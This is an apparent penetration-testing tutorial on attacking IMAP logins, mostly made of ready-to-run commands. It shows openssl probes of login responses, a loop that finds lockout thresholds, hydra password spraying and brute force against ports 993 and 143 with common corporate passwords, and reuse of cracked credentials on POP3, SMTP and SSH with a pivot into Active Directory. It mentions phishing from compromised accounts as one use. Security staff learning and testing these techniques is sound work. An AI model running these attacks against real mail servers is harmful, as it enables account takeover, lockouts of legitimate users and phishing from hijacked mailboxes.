Skip to content

IMAP Credential Attacks

8 min read Created Mar 29, 2026 Last updated Mar 29, 2026

IMAP credential attacks target LOGIN and AUTH mechanisms on ports 143 and 993 using a confirmed user list. Build the user list from SMTP VRFY responses, LDAP dumps, or Kerbrute before starting. Password spraying across all accounts with a single password is the default approach to stay under lockout thresholds. IMAP often shares credentials with SMTP, OWA, and Active Directory: a single valid pair unlocks multiple services. Corporate mail servers often use the same account store as the domain. A working IMAP login may equal a valid AD credential. Exchange and Dovecot respond differently to lockout conditions. Test manually against the real server before running any bulk attack.

  • Confirm Auth Flow Manually
  • Check Lockout Behavior
  • Password Spraying with hydra: Port 993
  • Brute Force on Port 143: Plaintext
  • Validate Credentials Across Other Services

Confirm Auth Flow Manually

Test a known credential pair first. Confirm the exact success and failure response strings before configuring hydra. The tagged response line starting with a1 is the one that matters. An a1 OK response confirms the credential worked. An a1 NO [AUTHENTICATIONFAILED] response is the standard rejection. Pull both strings manually so hydra can reliably separate valid from invalid attempts. If the server returns a different pattern, adjust the grep filter and hydra flags to match the actual output.

┌──(kali㉿kali)-[~]
└─$ printf "a1 LOGIN $USER $PASSWORD\r\na2 LIST \"\" \"*\"\r\na3 LOGOUT\r\n" | openssl s_client -connect $TARGET_IP:993 -crlf -quiet 2>/dev/null | grep -E 'a1|OK|NO'
a1 OK Logged in.
Explain command
$USER IMAP username credential used in the LOGIN command.
$PASSWORD IMAP password credential used in the LOGIN command.
-connect $TARGET_IP:993 Connect to target host on IMAPS port 993.
-crlf Translate LF to CRLF, required for IMAP line endings.
-quiet Suppress SSL handshake and session info output.
2>/dev/null Redirect stderr to null to suppress error messages.
-E 'a1|OK|NO' Filter output lines matching IMAP tags or status codes.
┌──(kali㉿kali)-[~]
└─$ printf "a1 LOGIN $USER wrongpassword\r\na2 LOGOUT\r\n" | openssl s_client -connect $TARGET_IP:993 -crlf -quiet 2>/dev/null | grep -E 'a1|OK|NO'
a1 NO [AUTHENTICATIONFAILED] Authentication failed.
Explain command
$USER Placeholder for the IMAP username used in the LOGIN command.
-connect $TARGET_IP:993 Connects to the target host on IMAPS port 993.
-crlf Translates LF to CRLF, required for proper IMAP line endings.
-quiet Suppresses SSL handshake and session info output.
2>/dev/null Redirects stderr to null, hiding OpenSSL diagnostic messages.
-E Enables extended regular expression syntax in grep.
'a1|OK|NO' Filters output for IMAP tagged response, OK, or NO status lines.

Check Lockout Behavior

Run this before any automated attack. Knowing the lockout threshold prevents locking out every account on the domain. Send more attempts than you expect the threshold allows and watch where the response changes. A BYE Too many failed authentications response terminates the session. It counts as a lockout event on most servers. Some servers reset the counter after a delay rather than locking permanently. If you see a BYE but reconnect and authenticate successfully shortly after, the server uses a temporary soft lockout. Use a test account you control when possible, to avoid burning real targets.

┌──(kali㉿kali)-[~]
└─$ for i in $(seq 1 6); do echo -n "Attempt $i: "; printf "a1 LOGIN $USER wrongpass$i\r\na2 LOGOUT\r\n" | openssl s_client -connect $TARGET_IP:993 -crlf -quiet 2>/dev/null | grep -oE 'NO.*|BYE.*' | head -1; sleep 1; done
Attempt 1: NO [AUTHENTICATIONFAILED] Authentication failed.
Attempt 2: NO [AUTHENTICATIONFAILED] Authentication failed.
Attempt 3: NO [AUTHENTICATIONFAILED] Authentication failed.
Attempt 4: NO [AUTHENTICATIONFAILED] Authentication failed.
Attempt 5: BYE Too many failed authentications.
Explain command
$(seq 1 6) Generates a sequence of numbers from 1 to 6 for loop iterations.
-n Suppresses trailing newline in echo output.
$USER Variable placeholder for the target IMAP username.
wrongpass$i Variable placeholder representing an incorrect password per iteration.
-connect $TARGET_IP:993 Connects to target host on port 993 (IMAPS).
-crlf Translates local line endings to CRLF as required by IMAP protocol.
-quiet Suppresses TLS handshake and session info output.
2>/dev/null Redirects stderr to null, hiding TLS error messages.
-oE 'NO.*|BYE.*' Extracts IMAP NO (auth failure) or BYE response lines via regex.
head -1 Returns only the first matching response line.
sleep 1 Pauses 1 second between attempts to avoid rate limiting or lockout.

BYE response after 4 failures means lockout triggers at attempt 5. Reduce hydra thread count to 1 and add significant delays between attempts. Or spray one password per account per hour to stay under the threshold. Exchange 2016 and later default to 10 failed attempts before locking, but domain policy often lowers this. Dovecot has no built-in lockout by default: lockout comes from fail2ban or similar tooling, which may reset after minutes. If lockout is permanent, coordinate with the client before spraying more than one password round. A locked account is visible in event logs and can alert blue team.

Password Spraying with hydra: Port 993

Spray one password at a time across every account. The goal is to stay under the lockout threshold on any single account while covering the full user list. Use passwords that match what you know about the target. Common choices: seasonal passwords, the company name with a number, or credentials found in earlier dumps. The hydra output line showing [993][imap] host: followed by login and password confirms a valid pair. Save results immediately and test against other services before continuing the spray.

┌──(kali㉿kali)-[~]
└─$ hydra -L /tmp/imap_users.txt -p 'Password123' -s 993 $TARGET_IP imaps -t 5 -W 3
[993][imap] host: 10.10.10.50   login: john.smith   password: Password123
Explain command
-L /tmp/imap_users.txt Load usernames from the specified wordlist file.
-p 'Password123' Use a single static password for all login attempts.
-s 993 Override the default port with 993 (IMAPS).
$TARGET_IP Placeholder for the target host IP address.
imaps Specifies the IMAP over SSL/TLS service module to attack.
-t 5 Run 5 parallel connection tasks simultaneously.
-W 3 Wait 3 seconds between each connection attempt per thread.
┌──(kali㉿kali)-[~]
└─$ for password in 'Password123' 'Welcome1' 'Company2024!' 'Summer2026'; do
echo "[*] Spraying: $password"
hydra -L /tmp/imap_users.txt -p "$password" -s 993 $TARGET_IP imaps -t 3 -W 5 2>/dev/null | grep 'host:'
done
Explain command
-L /tmp/imap_users.txt Load login usernames from the specified file.
-p "$password" Use a single password for all login attempts in this iteration.
-s 993 Override the default port to 993 (IMAPS).
$TARGET_IP Placeholder for the target host IP address.
imaps Specify IMAPS as the protocol/service to attack.
-t 3 Limit parallel connection tasks to 3 threads.
-W 5 Set wait time between each connection attempt to 5 seconds.
2>/dev/null Suppress stderr output by redirecting it to null.

Brute Force on Port 143: Plaintext

When port 143 accepts plaintext login without STARTTLS, confirmed in weak authentication testing, attack the plaintext surface directly. Plaintext IMAP is faster to brute because there is no TLS handshake overhead per connection. Use a targeted wordlist rather than a full rockyou dump. Focus on common corporate passwords, the company name, current year variants, and any passwords found elsewhere in the engagement. Watch hydra output for lockout signs. If attempts suddenly slow or all responses return the same error, the server may be rate limiting. Lower thread count and raise wait time if that happens.

┌──(kali㉿kali)-[~]
└─$ hydra -L /tmp/imap_users.txt -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt -s 143 $TARGET_IP imap -t 10
Explain command
-L /tmp/imap_users.txt Load usernames from the specified file.
-P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt Load passwords from the specified wordlist file.
-s 143 Override the default port and use port 143.
$TARGET_IP Placeholder for the target host IP address.
imap Specifies the IMAP protocol module to use for attacks.
-t 10 Run 10 parallel connection tasks simultaneously.

Validate Credentials Across Other Services

IMAP credentials are frequently reused on SMTP submission, OWA, SSH, and AD. Test immediately after obtaining valid credentials. A POP3S +OK response followed by a message count confirms the credential is valid for the mail store. An SMTP 235 response confirms the account can send mail, which opens phishing or internal relay options. SSH access gives a shell directly. Run id on the remote shell to confirm the privilege level before continuing. Credential reuse is common in environments using single sign-on or centralized LDAP authentication. If IMAP credentials also work against the domain, pivot to LDAP or SMB enumeration before they get rotated.

┌──(kali㉿kali)-[~]
└─$ # Test on POP3S
┌──(kali㉿kali)-[~]
└─$ echo -e "USER $USER\nPASS $PASSWORD\nSTAT\nQUIT" | openssl s_client -connect $TARGET_IP:995 -crlf -quiet 2>/dev/null | grep -iE '\+OK|-ERR'
+OK Dovecot ready.
+OK
+OK 14 messages
Explain command
-connect $TARGET_IP:995 Connect to target host on POP3S port 995 via TLS.
-crlf Translate LF to CRLF, required by POP3 protocol line endings.
-quiet Suppress SSL handshake and session info output.
2>/dev/null Redirect stderr to null to suppress error messages.
-iE Case-insensitive match using extended regex pattern.
\+OK|-ERR Match POP3 positive or negative response indicators.
$TARGET_IP:995 Placeholder for target IP address on POP3S port 995.
$USER Placeholder variable for the POP3 username credential.
$PASSWORD Placeholder variable for the POP3 password credential.
┌──(kali㉿kali)-[~]
└─$ # Test on SMTP submission
┌──(kali㉿kali)-[~]
└─$ swaks --to $USER@$DOMAIN --from $USER@$DOMAIN --server $TARGET_IP --port 587 --tls --auth LOGIN --auth-user $USER --auth-password $PASSWORD 2>&1 | grep -iE '235|535'
<-  235 2.7.0 Authentication successful
Explain command
--to $USER@$DOMAIN Specifies the recipient email address for the test message.
--from $USER@$DOMAIN Specifies the sender email address for the test message.
--server $TARGET_IP Sets the target SMTP server IP or hostname to connect to.
--port 587 Connects on port 587, standard SMTP submission port.
--tls Upgrades the connection to TLS using STARTTLS.
--auth LOGIN Uses the LOGIN authentication mechanism for SMTP AUTH.
--auth-user $USER Specifies the username credential for SMTP authentication.
--auth-password $PASSWORD Specifies the password credential for SMTP authentication.
2>&1 Redirects stderr to stdout so both streams are piped together.
-iE '235|535' Case-insensitive extended regex filter for auth success or failure codes.
┌──(kali㉿kali)-[~]
└─$ # Test on SSH
┌──(kali㉿kali)-[~]
└─$ sshpass -p "$PASSWORD" ssh $USER@$TARGET_IP 'id' 2>/dev/null
Explain command
-p "$PASSWORD" Supplies the SSH password non-interactively via sshpass.
$USER@$TARGET_IP Specifies the target username and host IP for the SSH connection.
'id' Remote command executed on the target host after login.
2>/dev/null Redirects stderr to null to suppress error messages.

References